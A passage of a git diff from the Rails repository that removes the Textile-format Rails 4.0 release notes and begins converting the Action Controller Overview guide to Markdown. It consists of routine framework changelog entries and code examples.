-If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag:
-
-<shell>
-$ ruby /path/to/rails/railties/bin/rails new myapp --dev
-</shell>
-
-h3. Major Features
-
-h3. Documentation
-
-h3. Railties
-
-* Allow scaffold/model/migration generators to accept a <tt>polymorphic</tt> modifier for <tt>references</tt>/<tt>belongs_to</tt>, for instance
-
-<shell>
-rails g model Product supplier:references{polymorphic}
-</shell>
-
-will generate the model with <tt>belongs_to :supplier, polymorphic: true</tt> association and appropriate migration.
-
-* Set <tt>config.active_record.migration_error</tt> to <tt>:page_load</tt> for development.
-
-* Add runner to <tt>Rails::Railtie</tt> as a hook called just after runner starts.
-
-* Add <tt>/rails/info/routes</tt> path which displays the same information as +rake routes+.
-
-* Improved +rake routes+ output for redirects.
-
-* Load all environments available in <tt>config.paths["config/environments"]</tt>.
-
-* Add <tt>config.queue_consumer</tt> to allow the default consumer to be configurable.
-
-* Add <tt>Rails.queue</tt> as an interface with a default implementation that consumes jobs in a separate thread.
-
-* Remove <tt>Rack::SSL</tt> in favour of <tt>ActionDispatch::SSL</tt>.
-
-* Allow to set class that will be used to run as a console, other than IRB, with <tt>Rails.application.config.console=</tt>. It's best to add it to console block.
-
-<ruby>
-# it can be added to config/application.rb
-console do
- # this block is called only when running console,
- # so we can safely require pry here
- require "pry"
- config.console = Pry
-end
-</ruby>
-
-* Add a convenience method <tt>hide!</tt> to Rails generators to hide the current generator namespace from showing when running <tt>rails generate</tt>.
-
-* Scaffold now uses +content_tag_for+ in <tt>index.html.erb</tt>.
-
-* <tt>Rails::Plugin</tt> is removed. Instead of adding plugins to <tt>vendor/plugins</tt>, use gems or bundler with path or git dependencies.
-
-h4(#railties_deprecations). Deprecations
-
-h3. Action Mailer
-
-* Allow to set default Action Mailer options via <tt>config.action_mailer.default_options=</tt>.
-
-* Raise an <tt>ActionView::MissingTemplate</tt> exception when no implicit template could be found.
-
-* Asynchronously send messages via the Rails Queue.
-
-h3. Action Pack
-
-h4. Action Controller
-
-* Add <tt>ActionController::Flash.add_flash_types</tt> method to allow people to register their own flash types. e.g.:
-
-<ruby>
-class ApplicationController
- add_flash_types :error, :warning
-end
-</ruby>
-
-If you add the above code, you can use <tt><%= error %></tt> in an erb, and <tt>redirect_to /foo, :error => 'message'</tt> in a controller.
-
-* Remove Active Model dependency from Action Pack.
-
-* Support unicode characters in routes. Route will be automatically escaped, so instead of manually escaping:
-
-<ruby>
-get Rack::Utils.escape('こんにちは') => 'home#index'
-</ruby>
-
-You just have to write the unicode route:
-
-<ruby>
-get 'こんにちは' => 'home#index'
-</ruby>
-
-* Return proper format on exceptions.
-
-* Extracted redirect logic from <tt>ActionController::ForceSSL::ClassMethods.force_ssl</tt> into <tt>ActionController::ForceSSL#force_ssl_redirect</tt>.
-
-* URL path parameters with invalid encoding now raise <tt>ActionController::BadRequest</tt>.
-
-* Malformed query and request parameter hashes now raise <tt>ActionController::BadRequest</tt>.
-
-* +respond_to+ and +respond_with+ now raise <tt>ActionController::UnknownFormat</tt> instead of directly returning head 406. The exception is rescued and converted to 406 in the exception handling middleware.
-
-* JSONP now uses <tt>application/javascript</tt> instead of <tt>application/json</tt> as the MIME type.
-
-* Session arguments passed to process calls in functional tests are now merged into the existing session, whereas previously they would replace the existing session. This change may break some existing tests if they are asserting the exact contents of the session but should not break existing tests that only assert individual keys.
-
-* Forms of persisted records use always PATCH (via the +_method+ hack).
-
-* For resources, both PATCH and PUT are routed to the +update+ action.
-
-* Don't ignore +force_ssl+ in development. This is a change of behavior - use an <tt>:if</tt> condition to recreate the old behavior.
-
-<ruby>
-class AccountsController < ApplicationController
- force_ssl :if => :ssl_configured?
-
- def ssl_configured?
- !Rails.env.development?
- end
-end
-</ruby>
-
-h5(#actioncontroller_deprecations). Deprecations
-
-* Deprecated <tt>ActionController::Integration</tt> in favour of <tt>ActionDispatch::Integration</tt>.
-
-* Deprecated <tt>ActionController::IntegrationTest</tt> in favour of <tt>ActionDispatch::IntegrationTest</tt>.
-
-* Deprecated <tt>ActionController::PerformanceTest</tt> in favour of <tt>ActionDispatch::PerformanceTest</tt>.
-
-* Deprecated <tt>ActionController::AbstractRequest</tt> in favour of <tt>ActionDispatch::Request</tt>.
-
-* Deprecated <tt>ActionController::Request</tt> in favour of <tt>ActionDispatch::Request</tt>.
-
-* Deprecated <tt>ActionController::AbstractResponse</tt> in favour of <tt>ActionDispatch::Response</tt>.
-
-* Deprecated <tt>ActionController::Response</tt> in favour of <tt>ActionDispatch::Response</tt>.
-
-* Deprecated <tt>ActionController::Routing</tt> in favour of <tt>ActionDispatch::Routing</tt>.
-
-h4. Action Dispatch
-
-* Add Routing Concerns to declare common routes that can be reused inside others resources and routes.
-
-Code before:
-
-<ruby>
-resources :messages do
- resources :comments
-end
-
-resources :posts do
- resources :comments
- resources :images, only: :index
-end
-</ruby>
-
-Code after:
-
-<ruby>
-concern :commentable do
- resources :comments
-end
-
-concern :image_attachable do
- resources :images, only: :index
-end
-
-resources :messages, concerns: :commentable
-
-resources :posts, concerns: [:commentable, :image_attachable]
-</ruby>
-
-* Show routes in exception page while debugging a <tt>RoutingError</tt> in development.
-
-* Include <tt>mounted_helpers</tt> (helpers for accessing mounted engines) in <tt>ActionDispatch::IntegrationTest</tt> by default.
-
-* Added <tt>ActionDispatch::SSL</tt> middleware that when included force all the requests to be under HTTPS protocol.
-
-* Copy literal route constraints to defaults so that url generation know about them. The copied constraints are <tt>:protocol</tt>, <tt>:subdomain</tt>, <tt>:domain</tt>, <tt>:host</tt> and <tt>:port</tt>.
-
-* Allows +assert_redirected_to+ to match against a regular expression.
-
-* Adds a backtrace to the routing error page in development.
-
-* +assert_generates+, +assert_recognizes+, and +assert_routing+ all raise +Assertion+ instead of +RoutingError+.
-
-* Allows the route helper root to take a string argument. For example, <tt>root 'pages#main'</tt> as a shortcut for <tt>root to: 'pages#main'</tt>.
-
-* Adds support for the PATCH verb: Request objects respond to <tt>patch?</tt>. Routes now have a new +patch+ method, and understand +:patch+ in the existing places where a verb is configured, like <tt>:via</tt>. Functional tests have a new method +patch+ and integration tests have a new method +patch_via_redirect+.
-If <tt>:patch</tt> is the default verb for updates, edits are tunneled as <tt>PATCH</tt> rather than as <tt>PUT</tt> and routing acts accordingly.
-
-* Integration tests support the OPTIONS method.
-
-* +expires_in+ accepts a +must_revalidate+ flag. If true, "must-revalidate" is added to the <tt>Cache-Control</tt> header.
-
-* Default responder will now always use your overridden block in <tt>respond_with</tt> to render your response.
-
-* Turn off verbose mode of <tt>rack-cache</tt>, we still have <tt>X-Rack-Cache</tt> to check that info.
-
-h5(#actiondispatch_deprecations). Deprecations
-
-h4. Action View
-
-* Remove Active Model dependency from Action Pack.
-
-* Allow to use <tt>mounted_helpers</tt> (helpers for accessing mounted engines) in <tt>ActionView::TestCase</tt>.
-
-* Make current object and counter (when it applies) variables accessible when rendering templates with <tt>:object</tt> or <tt>:collection</tt>.
-
-* Allow to lazy load +default_form_builder+ by passing a string instead of a constant.
-
-* Add index method to +FormBuilder+ class.
-
-* Adds support for layouts when rendering a partial with a given collection.
-
-* Remove <tt>:disable_with</tt> in favor of <tt>data-disable-with</tt> option from +submit_tag+, +button_tag+ and +button_to+ helpers.
-
-* Remove <tt>:mouseover</tt> option from +image_tag+ helper.
-
-* Templates without a handler extension now raises a deprecation warning but still defaults to +ERb+. In future releases, it will simply return the template content.
-
-* Add a +divider+ option to +grouped_options_for_select+ to generate a separator optgroup automatically, and deprecate prompt as third argument, in favor of using an options hash.
-
-* Add +time_field+ and +time_field_tag+ helpers which render an <tt>input[type="time"]</tt> tag.
-
-* Removed old +text_helper+ apis for +highlight+, +excerpt+ and +word_wrap+.
-
-* Remove the leading \n added by textarea on +assert_select+.
-
-* Changed default value for <tt>config.action_view.embed_authenticity_token_in_remote_forms</tt> to false. This change breaks remote forms that need to work also without JavaScript, so if you need such behavior, you can either set it to true or explicitly pass <tt>:authenticity_token => true</tt> in form options.
-
-* Make possible to use a block in +button_to+ helper if button text is hard to fit into the name parameter:
-
-<ruby>
-<%= button_to [:make_happy, @user] do %>
- Make happy <strong><%= @user.name %></strong>
-<% end %>
-# => "<form method="post" action="/users/1/make_happy" class="button_to">
-# <div>
-# <button type="submit">
-# Make happy <strong>Name</strong>
-# </button>
-# </div>
-# </form>"
-</ruby>
-
-* Replace +include_seconds+ boolean argument with <tt>:include_seconds => true</tt> option in +distance_of_time_in_words+ and +time_ago_in_words+ signature.
-
-* Remove +button_to_function+ and +link_to_function+ helpers.
-
-* +truncate+ now always returns an escaped HTML-safe string. The option <tt>:escape</tt> can be used as +false+ to not escape the result.
-
-* +truncate+ now accepts a block to show extra content when the text is truncated.
-
-* Add +week_field+, +week_field_tag+, +month_field+, +month_field_tag+, +datetime_local_field+, +datetime_local_field_tag+, +datetime_field+ and +datetime_field_tag+ helpers.
-
-* Add +color_field+ and +color_field_tag+ helpers.
-
-* Add +include_hidden+ option to select tag. With <tt>:include_hidden => false</tt> select with multiple attribute doesn't generate hidden input with blank value.
-
-* Removed default size option from the +text_field+, +search_field+, +telephone_field+, +url_field+, +email_field+ helpers.
-
-* Removed default cols and rows options from the +text_area+ helper.
-
-* Adds +image_url+, +javascript_url+, +stylesheet_url+, +audio_url+, +video_url+, and +font_url+ to assets tag helper. These URL helpers will return the full path to your assets. This is useful when you are going to reference this asset from external host.
-
-* Allow +value_method+ and +text_method+ arguments from +collection_select+ and +options_from_collection_for_select+ to receive an object that responds to <tt>:call</tt> such as a proc, to evaluate the option in the current element context. This works the same way with +collection_radio_buttons+ and +collection_check_boxes+.
-
-* Add +date_field+ and +date_field_tag+ helpers which render an <tt>input[type="date"]</tt> tag.
-
-* Add +collection_check_boxes+ form helper, similar to +collection_select+:
-
-<ruby>
-collection_check_boxes :post, :author_ids, Author.all, :id, :name
-# Outputs something like:
-<input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" />
-<label for="post_author_ids_1">D. Heinemeier Hansson</label>
-<input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
-<label for="post_author_ids_2">D. Thomas</label>
-<input name="post[author_ids][]" type="hidden" value="" />
-</ruby>
-
-The label/check_box pairs can be customized with a block.
-
-* Add +collection_radio_buttons+ form helper, similar to +collection_select+:
-
-<ruby>
-collection_radio_buttons :post, :author_id, Author.all, :id, :name
-# Outputs something like:
-<input id="post_author_id_1" name="post[author_id]" type="radio" value="1" />
-<label for="post_author_id_1">D. Heinemeier Hansson</label>
-<input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
-<label for="post_author_id_2">D. Thomas</label>
-</ruby>
-
-The label/radio_button pairs can be customized with a block.
-
-* +check_box+ with an HTML5 attribute +:form+ will now replicate the +:form+ attribute to the hidden field as well.
-
-* label form helper accepts <tt>:for => nil</tt> to not generate the attribute.
-
-* Add <tt>:format</tt> option to +number_to_percentage+.
-
-* Add <tt>config.action_view.logger</tt> to configure logger for +Action View+.
-
-* +check_box+ helper with <tt>:disabled => true</tt> will generate a +disabled+ hidden field to conform with the HTML convention where disabled fields are not submitted with the form. This is a behavior change, previously the hidden tag had a value of the disabled checkbox.
-
-* +favicon_link_tag+ helper will now use the favicon in <tt>app/assets</tt> by default.
-
-* <tt>ActionView::Helpers::TextHelper#highlight</tt> now defaults to the HTML5 +mark+ element.
-
-h5(#actionview_deprecations). Deprecations
-
-h4. Sprockets
-
-Moved into a separate gem <tt>sprockets-rails</tt>.
-
-h3. Active Record
-
-* Add <tt>add_reference</tt> and <tt>remove_reference</tt> schema statements. Aliases, <tt>add_belongs_to</tt> and <tt>remove_belongs_to</tt> are acceptable. References are reversible.
-
-<ruby>
-# Create a user_id column
-add_reference(:products, :user)
-
-# Create a supplier_id, supplier_type columns and appropriate index
-add_reference(:products, :supplier, polymorphic: true, index: true)
-
-# Remove polymorphic reference
-remove_reference(:products, :supplier, polymorphic: true)
-</ruby>
-
-
-* Add <tt>:default</tt> and <tt>:null</tt> options to <tt>column_exists?</tt>.
-
-<ruby>
-column_exists?(:testings, :taggable_id, :integer, null: false)
-column_exists?(:testings, :taggable_type, :string, default: 'Photo')
-</ruby>
-
-* <tt>ActiveRecord::Relation#inspect</tt> now makes it clear that you are dealing with a <tt>Relation</tt> object rather than an array:
-
-<ruby>
-User.where(:age => 30).inspect
-# => <ActiveRecord::Relation [#<User ...>, #<User ...>]>
-
-User.where(:age => 30).to_a.inspect
-# => [#<User ...>, #<User ...>]
-</ruby>
-
-if more than 10 items are returned by the relation, inspect will only show the first 10 followed by ellipsis.
-
-* Add <tt>:collation</tt> and <tt>:ctype</tt> support to PostgreSQL. These are available for PostgreSQL 8.4 or later.
-
-<yaml>
-development:
- adapter: postgresql
- host: localhost
- database: rails_development
- username: foo
- password: bar
- encoding: UTF8
- collation: ja_JP.UTF8
- ctype: ja_JP.UTF8
-</yaml>
-
-* <tt>FinderMethods#exists?</tt> now returns <tt>false</tt> with the <tt>false</tt> argument.
-
-* Added support for specifying the precision of a timestamp in the postgresql adapter. So, instead of having to incorrectly specify the precision using the <tt>:limit</tt> option, you may use <tt>:precision</tt>, as intended. For example, in a migration:
-
-<ruby>
-def change
- create_table :foobars do |t|
- t.timestamps :precision => 0
- end
-end
-</ruby>
-
-* Allow <tt>ActiveRecord::Relation#pluck</tt> to accept multiple columns. Returns an array of arrays containing the typecasted values:
-
-<ruby>
-Person.pluck(:id, :name)
-# SELECT people.id, people.name FROM people
-# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
-</ruby>
-
-* Improve the derivation of HABTM join table name to take account of nesting. It now takes the table names of the two models, sorts them lexically and then joins them, stripping any common prefix from the second table name. Some examples:
-
-<plain>
-Top level models (Category <=> Product)
-Old: categories_products
-New: categories_products
-
-Top level models with a global table_name_prefix (Category <=> Product)
-Old: site_categories_products
-New: site_categories_products
-
-Nested models in a module without a table_name_prefix method (Admin::Category <=> Admin::Product)
-Old: categories_products
-New: categories_products
-
-Nested models in a module with a table_name_prefix method (Admin::Category <=> Admin::Product)
-Old: categories_products
-New: admin_categories_products
-
-Nested models in a parent model (Catalog::Category <=> Catalog::Product)
-Old: categories_products
-New: catalog_categories_products
-
-Nested models in different parent models (Catalog::Category <=> Content::Page)
-Old: categories_pages
-New: catalog_categories_content_pages
-</plain>
-
-* Move HABTM validity checks to <tt>ActiveRecord::Reflection</tt>. One side effect of this is to move when the exceptions are raised from the point of declaration to when the association is built. This is consistant with other association validity checks.
-
-* Added <tt>stored_attributes</tt> hash which contains the attributes stored using <tt>ActiveRecord::Store</tt>. This allows you to retrieve the list of attributes you've defined.
-
-<ruby>
-class User < ActiveRecord::Base
- store :settings, accessors: [:color, :homepage]
-end
-
-User.stored_attributes[:settings] # [:color, :homepage]
-</ruby>
-
-* <tt>composed_of</tt> was removed. You'll have to write your own accessor and mutator methods if you'd like to use value objects to represent some portion of your models. So, instead of:
-
-<ruby>
-class Person < ActiveRecord::Base
- composed_of :address, :mapping => [ %w(address_street street), %w(address_city city) ]
-end
-</ruby>
-
-you could write something like this:
-
-<ruby>
-def address
- @address ||= Address.new(address_street, address_city)
-end
-
-def address=(address)
- self[:address_street] = @address.street
- self[:address_city] = @address.city
-
- @address = address
-end
-</ruby>
-
-* PostgreSQL default log level is now 'warning', to bypass the noisy notice messages. You can change the log level using the <tt>min_messages</tt> option available in your <tt>config/database.yml</tt>.
-
-* Add uuid datatype support to PostgreSQL adapter.
-
-* <tt>update_attribute</tt> has been removed. Use <tt>update_column</tt> if you want to bypass mass-assignment protection, validations, callbacks, and touching of updated_at. Otherwise please use <tt>update_attributes</tt>.
-
-* Added <tt>ActiveRecord::Migration.check_pending!</tt> that raises an error if migrations are pending.
-
-* Added <tt>#destroy!</tt> which acts like <tt>#destroy</tt> but will raise an <tt>ActiveRecord::RecordNotDestroyed</tt> exception instead of returning <tt>false</tt>.
-
-* Allow blocks for count with <tt>ActiveRecord::Relation</tt>, to work similar as <tt>Array#count</tt>: <tt>Person.where("age > 26").count { |person| person.gender == 'female' }</tt>
-
-* Added support to <tt>CollectionAssociation#delete</tt> for passing fixnum or string values as record ids. This finds the records responding to the ids and deletes them.
-
-<ruby>
-class Person < ActiveRecord::Base
- has_many :pets
-end
-
-person.pets.delete("1") # => [#<Pet id: 1>]
-person.pets.delete(2, 3) # => [#<Pet id: 2>, #<Pet id: 3>]
-</ruby>
-
-* It's not possible anymore to destroy a model marked as read only.
-
-* Added ability to <tt>ActiveRecord::Relation#from</tt> to accept other <tt>ActiveRecord::Relation</tt> objects.
-
-* Added custom coders support for <tt>ActiveRecord::Store</tt>. Now you can set your custom coder like this:
-
-<ruby>store :settings, accessors: [ :color, :homepage ], coder: JSON</ruby>
-
-* +mysql+ and +mysql2+ connections will set <tt>SQL_MODE=STRICT_ALL_TABLES</tt> by default to avoid silent data loss. This can be disabled by specifying <tt>strict: false</tt> in <tt>config/database.yml</tt>.
-
-* Added default order to <tt>ActiveRecord::Base#first</tt> to assure consistent results among diferent database engines. Introduced <tt>ActiveRecord::Base#take</tt> as a replacement to the old behavior.
-
-* Added an <tt>:index</tt> option to automatically create indexes for +references+ and +belongs_to+ statements in migrations. This can be either a boolean or a hash that is identical to options available to the +add_index+ method:
-
-<ruby>
-create_table :messages do |t|
- t.references :person, :index => true
-end
-</ruby>
-
-Is the same as:
-
-<ruby>
-create_table :messages do |t|
- t.references :person
-end
-add_index :messages, :person_id
-</ruby>
-
-Generators have also been updated to use the new syntax.
-
-* Added bang methods for mutating <tt>ActiveRecord::Relation</tt> objects. For example, while <tt>foo.where(:bar)</tt> will return a new object leaving foo unchanged, <tt>foo.where!(:bar)</tt> will mutate the foo object.
-
-* Added <tt>#find_by</tt> and <tt>#find_by!</tt> to mirror the functionality provided by dynamic finders in a way that allows dynamic input more easily:
-
-<ruby>
-Post.find_by name: 'Spartacus', rating: 4
-Post.find_by "published_at < ?", 2.weeks.ago
-Post.find_by! name: 'Spartacus'
-</ruby>
-
-* Added <tt>ActiveRecord::Base#slice</tt> to return a hash of the given methods with their names as keys and returned values as values.
-
-* Remove IdentityMap - IdentityMap has never graduated to be an "enabled-by-default" feature, due to some inconsistencies with associations, as described in this "commit":https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6. Hence the removal from the codebase, until such issues are fixed.
-
-* Added a feature to dump/load internal state of +SchemaCache+ instance because we want to boot more quickly when we have many models.
-
-<ruby>
-# execute rake task.
-RAILS_ENV=production bundle exec rake db:schema:cache:dump
-=> generate db/schema_cache.dump
-
-# add config.use_schema_cache_dump = true in config/production.rb. BTW, true is default.
-
-# boot rails.
-RAILS_ENV=production bundle exec rails server
-=> use db/schema_cache.dump
-
-# If you remove clear dumped cache, execute rake task.
-RAILS_ENV=production bundle exec rake db:schema:cache:clear
-=> remove db/schema_cache.dump
-</ruby>
-
-* Added support for partial indices to +PostgreSQL+ adapter.
-
-* The +add_index+ method now supports a +where+ option that receives a string with the partial index criteria.
-
-* Added the <tt>ActiveRecord::NullRelation</tt> class implementing the null object pattern for the Relation class.
-
-* Implemented <tt>ActiveRecord::Relation#none</tt> method which returns a chainable relation with zero records (an instance of the +NullRelation+ class). Any subsequent condition chained to the returned relation will continue generating an empty relation and will not fire any query to the database.
-
-* Added +create_join_table+ migration helper to create HABTM join tables.
-
-<ruby>
-create_join_table :products, :categories
-# =>
-# create_table :categories_products, :id => false do |td|
-# td.integer :product_id, :null => false
-# td.integer :category_id, :null => false
-# end
-</ruby>
-
-* The primary key is always initialized in the +@attributes+ hash to nil (unless another value has been specified).
-
-* In previous releases, the following would generate a single query with an OUTER JOIN comments, rather than two separate queries:
-
-<ruby>Post.includes(:comments).where("comments.name = 'foo'")</ruby>
-
-This behaviour relies on matching SQL string, which is an inherently flawed idea unless we write an SQL parser, which we do not wish to do. Therefore, it is now deprecated.
-
-To avoid deprecation warnings and for future compatibility, you must explicitly state which tables you reference, when using SQL snippets:
-
-<ruby>Post.includes(:comments).where("comments.name = 'foo'").references(:comments)</ruby>
-
-Note that you do not need to explicitly specify references in the following cases, as they can be automatically inferred:
-
-<ruby>
-Post.where(comments: { name: 'foo' })
-Post.where('comments.name' => 'foo')
-Post.order('comments.name')
-</ruby>
-
-You also do not need to worry about this unless you are doing eager loading. Basically, don't worry unless you see a deprecation warning or (in future releases) an SQL error due to a missing JOIN.
-
-* Support for the +schema_info+ table has been dropped. Please switch to +schema_migrations+.
-
-* Connections *must* be closed at the end of a thread. If not, your connection pool can fill and an exception will be raised.
-
-* Added the <tt>ActiveRecord::Model</tt> module which can be included in a class as an alternative to inheriting from <tt>ActiveRecord::Base</tt>:
-
-<ruby>
-class Post
- include ActiveRecord::Model
-end
-</ruby>
-
-* PostgreSQL hstore records can be created.
-
-* PostgreSQL hstore types are automatically deserialized from the database.
-
-h4(#activerecord_deprecations). Deprecations
-
-* Deprecated most of the 'dynamic finder' methods. All dynamic methods except for +find_by_...+ and +find_by_...!+ are deprecated. Here's how you can rewrite the code:
-
-<ruby>
-find_all_by_... can be rewritten using where(...)
-find_last_by_... can be rewritten using where(...).last
-scoped_by_... can be rewritten using where(...)
-find_or_initialize_by_... can be rewritten using where(...).first_or_initialize
-find_or_create_by_... can be rewritten using where(...).first_or_create
-find_or_create_by_...! can be rewritten using where(...).first_or_create!
-</ruby>
-
-The implementation of the deprecated dynamic finders has been moved to the +active_record_deprecated_finders+ gem.
-
-* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do. For example this:
-
-<ruby>Post.find(:all, :conditions => { :comments_count => 10 }, :limit => 5)</ruby>
-
-should be rewritten in the new style which has existed since Rails 3:
-
-<ruby>Post.where(comments_count: 10).limit(5)</ruby>
-
-Note that as an interim step, it is possible to rewrite the above as:
-
-<ruby>Post.scoped(:where => { :comments_count => 10 }, :limit => 5)</ruby>
-
-This could save you a lot of work if there is a lot of old-style finder usage in your application.
-
-Calling <tt>Post.scoped(options)</tt> is a shortcut for <tt>Post.scoped.merge(options)</tt>. <tt>Relation#merge</tt> now accepts a hash of options, but they must be identical to the names of the equivalent finder method. These are mostly identical to the old-style finder option names, except in the following cases:
-
-<plain>
-:conditions becomes :where
-:include becomes :includes
-:extend becomes :extending
-</plain>
-
-The code to implement the deprecated features has been moved out to the +active_record_deprecated_finders+ gem. This gem is a dependency of Active Record in Rails 4.0. It will no longer be a dependency from Rails 4.1, but if your app relies on the deprecated features then you can add it to your own Gemfile. It will be maintained by the Rails core team until Rails 5.0 is released.
-
-* Deprecate eager-evaluated scopes.
-
- Don't use this:
-
-<ruby>
-scope :red, where(color: 'red')
-default_scope where(color: 'red')
-</ruby>
-
- Use this:
-
-<ruby>
-scope :red, -> { where(color: 'red') }
-default_scope { where(color: 'red') }
-</ruby>
-
- The former has numerous issues. It is a common newbie gotcha to do the following:
-
-<ruby>
-scope :recent, where(published_at: Time.now - 2.weeks)
-</ruby>
-
- Or a more subtle variant:
-
-<ruby>
-scope :recent, -> { where(published_at: Time.now - 2.weeks) }
-scope :recent_red, recent.where(color: 'red')
-</ruby>
-
- Eager scopes are also very complex to implement within Active Record, and there are still bugs. For example, the following does not do what you expect:
-
-<ruby>
-scope :remove_conditions, except(:where)
-where(...).remove_conditions # => still has conditions
-</ruby>
-
-* Added deprecation for the :dependent => :restrict association option.
-
-* Up until now has_many and has_one, :dependent => :restrict option raised a DeleteRestrictionError at the time of destroying the object. Instead, it will add an error on the model.
-
-* To fix this warning, make sure your code isn't relying on a DeleteRestrictionError and then add config.active_record.dependent_restrict_raises = false to your application config.
-
-* New rails application would be generated with the config.active_record.dependent_restrict_raises = false in the application config.
-
-* The migration generator now creates a join table with (commented) indexes every time the migration name contains the word "join_table".
-
-h3. Active Model
-
-* Changed <tt>AM::Serializers::JSON.include_root_in_json</tt> default value to false. Now, AM Serializers and AR objects have the same default behaviour.
-
-<ruby>
-class User < ActiveRecord::Base; end
-
-class Person
- include ActiveModel::Model
- include ActiveModel::AttributeMethods
- include ActiveModel::Serializers::JSON
-
- attr_accessor :name, :age
-
- def attributes
- instance_values
- end
-end
-
-user.as_json
-=> {"id"=>1, "name"=>"Konata Izumi", "age"=>16, "awesome"=>true}
-# root is not included
-
-person.as_json
-=> {"name"=>"Francesco", "age"=>22}
-# root is not included
-</ruby>
-
-* Passing false hash values to +validates+ will no longer enable the corresponding validators.
-
-* +ConfirmationValidator+ error messages will attach to <tt>:#{attribute}_confirmation</tt> instead of +attribute+.
-
-* Added <tt>ActiveModel::Model</tt>, a mixin to make Ruby objects work with Action Pack out of the box.
-
-* <tt>ActiveModel::Errors#to_json</tt> supports a new parameter <tt>:full_messages</tt>.
-
-* Trims down the API by removing <tt>valid?</tt> and <tt>errors.full_messages</tt>.
-
-h4(#activemodel_deprecations). Deprecations
-
-h3. Active Resource
-
-* Active Resource is removed from Rails 4.0 and is now a separate "gem":https://github.com/rails/activeresource.
-
-h3. Active Support
-
-* Add default values to all <tt>ActiveSupport::NumberHelper</tt> methods, to avoid errors with empty locales or missing values.
-
-* <tt>Time#change</tt> now works with time values with offsets other than UTC or the local time zone.
-
-* Add <tt>Time#prev_quarter</tt> and <tt>Time#next_quarter</tt> short-hands for <tt>months_ago(3)</tt> and <tt>months_since(3)</tt>.
-
-* Remove obsolete and unused <tt>require_association</tt> method from dependencies.
-
-* Add <tt>:instance_accessor</tt> option for <tt>config_accessor</tt>.
-
-<ruby>
-class User
- include ActiveSupport::Configurable
- config_accessor :allowed_access, instance_accessor: false
-end
-
-User.new.allowed_access = true # => NoMethodError
-User.new.allowed_access # => NoMethodError
-</ruby>
-
-* <tt>ActionView::Helpers::NumberHelper</tt> methods have been moved to <tt>ActiveSupport::NumberHelper</tt> and are now available via <tt>Numeric#to_s</tt>.
-
-* <tt>Numeric#to_s</tt> now accepts the formatting options :phone, :currency, :percentage, :delimited, :rounded, :human, and :human_size.
-
-* Add <tt>Hash#transform_keys</tt>, <tt>Hash#transform_keys!</tt>, <tt>Hash#deep_transform_keys</tt> and <tt>Hash#deep_transform_keys!</tt>.
-
-* Changed xml type datetime to dateTime (with upper case letter T).
-
-* Add <tt>:instance_accessor</tt> option for <tt>class_attribute</tt>.
-
-* +constantize+ now looks in the ancestor chain.
-
-* Add <tt>Hash#deep_stringify_keys</tt> and <tt>Hash#deep_stringify_keys!</tt> to convert all keys from a +Hash+ instance into strings.
-
-* Add <tt>Hash#deep_symbolize_keys</tt> and <tt>Hash#deep_symbolize_keys!</tt> to convert all keys from a +Hash+ instance into symbols.
-
-* <tt>Object#try</tt> can't call private methods.
-
-* AS::Callbacks#run_callbacks remove key argument.
-
-* +deep_dup+ works more expectedly now and duplicates also values in +Hash+ instances and elements in +Array+ instances.
-
-* Inflector no longer applies ice -> ouse to words like slice, police.
-
-* Add <tt>ActiveSupport::Deprecations.behavior = :silence</tt> to completely ignore Rails runtime deprecations.
-
-* Make <tt>Module#delegate</tt> stop using send - can no longer delegate to private methods.
-
-* AS::Callbacks deprecate :rescuable option.
-
-* Adds <tt>Integer#ordinal</tt> to get the ordinal suffix string of an integer.
-
-* AS::Callbacks :per_key option is no longer supported.
-
-* AS::Callbacks#define_callbacks add :skip_after_callbacks_if_terminated option.
-
-* Add html_escape_once to ERB::Util, and delegate escape_once tag helper to it.
-
-* Remove <tt>ActiveSupport::TestCase#pending</tt> method, use +skip+ instead.
-
-* Deletes the compatibility method <tt>Module#method_names</tt>, use <tt>Module#methods</tt> from now on (which returns symbols).
-
-* Deletes the compatibility method <tt>Module#instance_method_names</tt>, use <tt>Module#instance_methods</tt> from now on (which returns symbols).
-
-* Unicode database updated to 6.1.0.
-
-* Adds +encode_big_decimal_as_string+ option to force JSON serialization of BigDecimals as numeric instead of wrapping them in strings for safety.
-
-h4(#activesupport_deprecations). Deprecations
-
-* <tt>ActiveSupport::Callbacks</tt>: deprecate usage of filter object with <tt>#before</tt> and <tt>#after</tt> methods as <tt>around</tt> callback.
-
-* <tt>BufferedLogger</tt> is deprecated. Use <tt>ActiveSupport::Logger</tt> or the +logger+ from Ruby stdlib.
-
-* Deprecates the compatibility method <tt>Module#local_constant_names</tt> and use <tt>Module#local_constants</tt> instead (which returns symbols).
-
-h3. Credits
-
-See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
diff --git a/guides/source/action_controller_overview.textile b/guides/source/action_controller_overview.md
index 3c828735ae..e6a6b05166 100644
--- a/guides/source/action_controller_overview.textile
+++ b/guides/source/action_controller_overview.md
@@ -1,4 +1,5 @@
-h2. Action Controller Overview
+Action Controller Overview
+==========================
In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:
@@ -10,48 +11,51 @@ In this guide you will learn how controllers work and how they fit into the requ
* Filter sensitive parameters so they do not appear in the application's log
* Deal with exceptions that may be raised during request processing
-endprologue.
+--------------------------------------------------------------------------------
-h3. What Does a Controller Do?
+What Does a Controller Do?
+--------------------------
Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
-For most conventional "RESTful":http://en.wikipedia.org/wiki/Representational_state_transfer applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
+For most conventional [RESTful](http://en.wikipedia.org/wiki/Representational_state_transfer) applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
